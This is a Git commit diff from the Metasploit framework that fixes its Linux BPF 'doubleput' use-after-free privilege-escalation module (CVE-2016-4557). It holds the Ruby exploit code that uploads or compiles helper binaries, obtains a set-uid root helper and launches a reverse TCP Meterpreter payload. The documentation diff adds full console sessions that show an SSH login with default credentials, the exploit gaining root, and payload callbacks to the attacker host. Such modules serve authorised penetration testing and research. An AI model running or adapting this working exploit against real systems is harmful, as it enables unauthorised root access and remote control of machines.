Land #11112, Fix bpf_priv_esc exploit module

This commit is contained in:
Shelby Pace 2018-12-17 10:00:50 -06:00
commit 2fc501d260
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
3 changed files with 341 additions and 333 deletions

View File

@ -1,167 +1,123 @@
## Notes
This module (and the original exploit) are written in several parts: `hello`, `doubleput`, and `suidhelper`.
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
does not properly reference count file descriptors, resulting
in a use-after-free, which can be abused to escalate privileges.
Mettle at times on this exploit will give back an invalid session number error. In these cases `payload/linux/x64/shell/bind_tcp` seemed to always work.
The target system must be compiled with `CONFIG_BPF_SYSCALL`
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to `fuse.h` being required.
As of PR submission, killing of the process `hello` and `doubleput` has to occur manually. `/tmp/fuse_mount` also needs to be unmounted and deleted.
## Vulnerable Application
This module has been tested successfully on:
* Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)
* Ubuntu 16.04 (x64) kernel 4.4.0-38-generic
* Ubuntu 16.04 (x64) kernel 4.4.0-42-generic
* Ubuntu 16.04 (x64) kernel 4.4.0-98-generic
* Ubuntu 16.04 (x64) kernel 4.4.0-140-generic
This module was not tested against, but may work against:
* Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
* Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
* Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
* Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=82
* Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Creating A Testing Environment
There are a few requirements for this module to work:
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04)
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04)
3. fuse needs to be installed (non-default on Ubuntu 16.04)
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
This module has been tested against:
The `libfuse-dev` package must be installed to test live-compiling on the target:
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
`apt-get install libfuse-dev=2.9.4-1ubuntu3.1`
This module was not tested against, but may work against:
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/bpf_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
3. Do: `use exploit/linux/local/bpf_priv_esc
4. Do: `set session #`
5. Do: `set verbose true`
6. Do: `exploit`
## Options
**MAXWAIT**
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to `120` (seconds)
**WritableDir**
A folder we can write files to. Defaults to /tmp
A folder we can write files to. Defaults to `/tmp`
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
#### Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
rhosts => 192.168.199.130
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[+] libfuse-dev is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing hello to /tmp/hello.c
[*] Max line length is 65537
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
[*] Writing doubleput to /tmp/doubleput.c
[*] Max line length is 65537
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
[*] Writing suidhelper to /tmp/suidhelper.c
[*] Max line length is 65537
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
[*] Compiling all modules on target
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
[*] Cleaning up...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.199.130
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x86_64
Meterpreter : x64/linux
#### Escalate w/ pre-compiled binaries
```
msf5 > use exploit/linux/local/bpf_priv_esc
msf5 exploit(linux/local/bpf_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/bpf_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 4.4.0-21-generic appears to be vulnerable
[+] fuse package is installed
[+] /tmp/fuse_mount doesn't exist
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] Unprivileged BPF loading is permitted
[+] libfuse-dev is installed
[+] gcc is installed
[+] pkg-config is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/hello.c' (2682 bytes) ...
[*] Writing '/tmp/doubleput.c' (5168 bytes) ...
[*] Writing '/tmp/suidhelper.c' (333 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
[*] Launching exploit. This may take up to 120 seconds.
[+] Success! set-uid root /tmp/suidhelper
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (861348 bytes) to 172.16.191.141
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
[+] Deleted /tmp/hello.c
[+] Deleted /tmp/hello
[+] Deleted /tmp/doubleput.c
[+] Deleted /tmp/doubleput
[+] Deleted /tmp/suidhelper.c
[+] Deleted /tmp/.FVfiRBKRDX7r
[+] Deleted /tmp/fuse_mount
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.141
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[-] libfuse-dev is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing pre-compiled binarys to target
[*] Max line length is 65537
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

View File

@ -7,136 +7,238 @@ class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux BPF Local Privilege Escalation',
'Description' => %q{
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
sysctl is not set to 1, BPF can be abused to priv escalate.
Ubuntu 16.04 has all of these conditions met.
def initialize(info = {})
super( update_info( info,
'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
'Description' => %q{
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
does not properly reference count file descriptors, resulting
in a use-after-free, which can be abused to escalate privileges.
The target system must be compiled with `CONFIG_BPF_SYSCALL`
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
This module has been tested successfully on:
Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel);
Ubuntu 16.04 (x64) kernel 4.4.0-38-generic;
Ubuntu 16.04 (x64) kernel 4.4.0-42-generic;
Ubuntu 16.04 (x64) kernel 4.4.0-98-generic;
Ubuntu 16.04 (x64) kernel 4.4.0-140-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery and exploit
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2016-05-04',
'Privileged' => true,
'References' =>
[
['BID', '90309'],
['CVE', '2016-4557'],
['EDB', '39772'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
['URL', 'https://usn.ubuntu.com/2965-1/'],
['URL', 'https://launchpad.net/bugs/1578705'],
['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],
['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2016-4557' ],
[ 'EDB', '39772' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'DefaultTarget' => 1,
'DisclosureDate' => 'May 04 2016',
'Privileged' => true
}
))
'Notes' =>
{
'AKA' =>
[
'double-fdput',
'doubleput.c'
]
},
'DefaultTarget' => 1))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
return true if has_prereqs?
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
end
end
def has_prereqs?
def check_libfuse_dev?
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?
if has_gcc?
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev? && check_gcc? && check_pkgconfig?
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
register_file_for_cleanup path
chmod path
end
def check
def check_config_bpf_syscall?
config = kernel_config
release = kernel_release
if Gem::Version.new(release.split('-').first) < Gem::Version.new('4.4') ||
Gem::Version.new(release.split('-').first) >= Gem::Version.new('4.5.5')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
if config.nil?
vprint_error 'Could not retrieve kernel config'
return
end
lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
unless lib.include?('install')
print_error('fuse package is not installed. Exploitation will fail.')
return CheckCode::Safe
end
vprint_good('fuse package is installed')
unless config.include? 'CONFIG_BPF_SYSCALL=y'
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
return false
end
fuse_mount = "#{base_dir}/fuse_mount"
if directory? fuse_mount
vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
return CheckCode::Safe
end
vprint_good("#{fuse_mount} doesn't exist")
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
true
config = kernel_config
if config.nil?
vprint_error 'Could not retrieve kernel config'
return CheckCode::Unknown
end
def check_kernel_disabled?
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return false
end
vprint_good 'Unprivileged BPF loading is permitted'
true
unless config.include? 'CONFIG_BPF_SYSCALL=y'
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
return CheckCode::Safe
end
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
def check_fuse?()
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
if lib.include?('install')
vprint_good('fuse is installed')
return true
else
print_error('fuse is not installed. Exploitation will fail.')
return false
end
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged BPF loading is permitted'
def mount_point_exists?()
if directory?('/tmp/fuse_mount')
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
return false
else
vprint_good('/tmp/fuse_mount doesn\'t exist')
return true
end
end
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
CheckCode::Appears
else
CheckCode::Safe
end
CheckCode::Appears
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
doubleput = %q{
@ -389,120 +491,70 @@ class MetasploitModule < Msf::Exploit::Local
}
}
hello_filename = 'hello'
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
doubleput_file = "#{datastore['WritableDir']}/doubleput"
suidhelper_filename = 'suidhelper'
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
@hello_name = 'hello'
hello_path = "#{base_dir}/#{@hello_name}"
@doubleput_name = 'doubleput'
doubleput_path = "#{base_dir}/#{@doubleput_name}"
@suidhelper_path = "#{base_dir}/suidhelper"
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
upload_and_compile(doubleput_path, doubleput, '-Wall')
upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx(hello_path, exploit_data('hello'))
upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
end
def has_prereqs?()
def check_libfuse_dev?()
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?()
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
end
vprint_status 'Uploading payload...'
upload_and_chmodx(payload_path, generate_payload_exe)
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
print_status('Launching exploit. This may take up to 120 seconds.')
if compile == false
# doubleput file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
fd = ::File.open( path, "rb")
doubleput = fd.read(fd.stat.size)
fd.close
# hello file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
fd = ::File.open( path, "rb")
hello = fd.read(fd.stat.size)
fd.close
# suidhelper file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
fd = ::File.open( path, "rb")
suid_helper = fd.read(fd.stat.size)
fd.close
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'AyDJSaMM'
payload_path = '/tmp/AyDJSaMM'
end
# make our substitutions so things are dynamic
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
'exit(0);')
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
upload_and_compile('payload', payload_path, generate_payload_exe)
print_status('Starting execution of priv esc. This may take about 120 seconds')
cmd_exec(doubleput_file)
register_dir_for_cleanup "#{base_dir}/fuse_mount"
cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
Rex.sleep(5)
# check file permissions
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
print_good('got root, starting payload')
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
cmd_exec("#{suidhelper_path}")
if setuid? @suidhelper_path
print_good("Success! set-uid root #{@suidhelper_path}")
cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
return
end
sec_waited +=1
sec_waited += 5
end
print_error "Failed to set-uid root #{@suidhelper_path}"
end
def cleanup
cmd_exec "killall #{@hello_name}"
cmd_exec "killall #{@doubleput_name}"
ensure
super
end
def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
# remove root owned SUID executable and kill running exploit processes
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @suidhelper_path
session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
session.fs.file.rm "#{base_dir}/fuse_mount"
else
session.shell_command_token "rm -f '#{@suidhelper_path}'"
session.shell_command_token "killall #{@doubleput_name}"
session.shell_command_token "killall #{@hello_name}"
session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
end
ensure
super
end
end